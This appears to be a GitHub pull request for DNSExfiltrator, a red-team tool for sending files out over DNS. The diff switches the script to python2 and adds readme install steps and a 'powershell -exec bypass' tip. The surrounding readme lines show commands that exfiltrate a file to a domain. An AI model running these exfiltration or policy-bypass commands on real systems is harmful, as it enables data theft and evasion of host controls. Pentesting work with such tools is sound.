Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added Commads to make the python script be able to run on modern systems that don't have python2 by default. #11

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions dnsexfiltrator.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#!/usr/bin/python
#!/usr/bin/python2
# -*- coding: utf8 -*-
import argparse
import socket
Expand Down Expand Up @@ -220,4 +220,4 @@ def color(string, color=None):
pass
finally:
print color("[!] Stopping DNS Server")
udps.close()
udps.close()
22 changes: 21 additions & 1 deletion readme.md
Original file line number Diff line number Diff line change
Expand Up @@ -40,6 +40,21 @@ The only dependency is on the server side, as the `dnsexfiltrator.py` script rel
pip install -r requirements.txt
```

This python script is written in python2. If you are using any new system that does not have python2 installed, you must install it using the following commands:

Install python2
```
sudo apt install python2
```
Install pip for python2
```
sudo apt install python-pip
```
Install dnslib (library) for python2 environment
```
sudo pip2 install -r requirements.txt
```

Usage
----------------------

Expand Down Expand Up @@ -80,6 +95,11 @@ PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p pass
Check the EXAMPLES section in the script file for further usage examples.
<img src="https://dl.dropboxusercontent.com/s/067lffd4s45esmu/dnsExfiltrator_02.jpg?dl=0" width="900">

Note: If you get an error while Importing the Module saying that the module "cannot be loaded because running scripts is disabled on this system", restart powershell using:
```
powershell -exec bypass
```

3/ Using the JScript script, pass it the exact same arguments as you would with the standalone Windows executable:
```
cscript.exe dnsExiltrator.js inputFile mydomain.com password
Expand All @@ -103,4 +123,4 @@ This tool is intended to be used in a legal and legitimate way only:
- on systems you've been officially and legitimately entitled to perform some security assessments (pentest, security audits)

Quoting Empire's authors:
*There is no way to build offensive tools useful to the legitimate infosec industry while simultaneously preventing malicious actors from abusing them.*
*There is no way to build offensive tools useful to the legitimate infosec industry while simultaneously preventing malicious actors from abusing them.*